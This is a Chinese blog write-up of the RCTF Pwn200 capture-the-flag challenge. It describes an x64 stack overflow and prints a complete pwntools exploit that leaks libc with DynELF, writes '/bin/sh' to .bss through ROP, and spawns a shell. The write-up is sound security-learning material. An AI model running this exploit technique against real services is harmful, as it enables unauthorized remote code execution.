• [RCTF]Pwn200 wp


    0x00:

    XCTF开赛了,只看了pwn,这次还比较有意思,有x86  x64  arm mips 多种cpu构架的pwn。自己只搞出了pwn200

    0x01:

    基本信息:

    x64 动态链接 有调试符号(怪不得是最简单的...)  

    开启的保护如图可以看到。

    运行下,随便给点输入:

    经过分析,发现问题出在echo()函数

    而且这个bof的payload大概的格式:

    payload = "A"*24+"BBBBBB"+"\x00\x00"
    

    0x02:

      思路就是 利用构造的ROP链先去 leak 远程服务器上libc里的system地址,然后利用ROP链再次把 "/bin/sh" 和system()地址 写入程序的.bss段,最后再次利用ROP链去执行 system("/bin/sh")

      但是要注意:x64的函数调用 参数传递顺序是 RDI  RSI  RDX  RCX  R8  R9 之后的参数才用栈传递。

      在IDA中看下

      

      我们可以利用 pwntools的 去得到程序中write()read()这些系统调用的got,用来构造ROP。这时候要使用的是 通用型的ropgads,因为源程序中并没有一些辅助性的东西。

    在初始化libc的时候,这些指令可以为我们所用来构造ROP,设置好参数。 

    因为也没有给libc,所以要leak libc中的函数地址,pwntools的dynELF很好用。

    0x03:

    exp 如下

    #!/usr/bin/env python
    # coding=utf-8
    # author:muhe
    # http://www.cnblogs.com/0xmuhe/
    from pwn import *
    
    elf = ELF('./pwn200')
    p=remote('127.0.0.1',6666)
    #p = remote('180.76.178.48',6666)
    #p = process('./pwn200')
    addr1=0x40089A
    addr2=0x400880
    main_addr = 0x4007CD
    ppppr=0x40089c
    bss_addr=0x601078
    got_write = elf.got['write']
    got_read = elf.got['read']
    
    
    flag=True
    def leak(address):
        global flag
        junk = "A"*24
        p1=""
        p1+=junk
        p1+=p64(ppppr)
        p1+=p64(addr1)
        p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
        p1+=p64(addr2)
        p1+="\x00"*56
        p1+=p64(main_addr)
        p.recvuntil('F\n')
        p.send(p1)
        #raw_input()
        if flag:
            data = p.recv(8)
            flag=False
        else:
            p.recv(0x1b)
            data = p.recv(8)
        print "%#x => %s" % (address, (data or '').encode('hex'))
        return data
    
    d = DynELF(leak, elf=ELF('./pwn200'))
    system_addr = d.lookup('system','libc')
    print "system_addr=" + hex(system_addr)
    
    
    #----------------write /bin/sh to .bss-----------------#
    junk = "A"*24
    payload=""
    payload+=junk
    payload+=p64(ppppr)
    payload+=p64(addr1)
    payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
    #    addr_junk_rbx_rbp_r12_r13_r14_r15
    #order:RDI  RSI  RDX  RCX  R8  R9
    payload+=p64(addr2)
    payload+="\x00"*56
    payload+=p64(main_addr)
    
    p.recvuntil('F\n')
    print "payload 1 ...."
    #raw_input()
    p.send(payload)
    sleep(1)
    p.send("AAAABBBB")
    p.send("/bin/sh\0")
    p.send(p64(system_addr))
    #raw_input()
    print "sent .."
    #raw_input()
    sleep(1)
    
    #-----------------get shell --------------------------#
    junk = "A"*24
    payload2=""
    payload2+=junk
    payload2+=p64(ppppr)
    payload2+=p64(addr1)
    payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
    #    addr_junk_rbx_rbp_r12_r13_r14_r15
    #order:RDI  RSI  RDX  RCX  R8  R9
    payload2+=p64(addr2)
    payload2+="\x00"*56
    payload2+=p64(main_addr)
    
    p.recvuntil('F\n')
    #raw_input()
    print "payload 2 ...."
    p.send(payload2)
    print "ok get shell"
    
    p.interactive()
    

      

    打了一波本地

    后来遇到个问题,exp打本地,或者是socket搭建起来的都可以打,但是远程服务器打不了。 - -#  尴尬

    0x04: 

      算是学习了一波吧,有收获就是好的。

    Show Me The #.
  • 相关阅读:
    IDEA使用Maven报错
    defaultdict高级用法
    dd命令创建文件
    数据结构与算法
    mongodb(2022)
    参数替换xargs
    docker清理已停止的容器
    rename重命名
    go控制grpc的metadata
    将本地文件上传到gitlab文件夹显示为红色无法打开原因分析以及解决方案
  • 原文地址:https://www.cnblogs.com/0xmuhe/p/4968677.html
Copyright © 2020-2023  润新知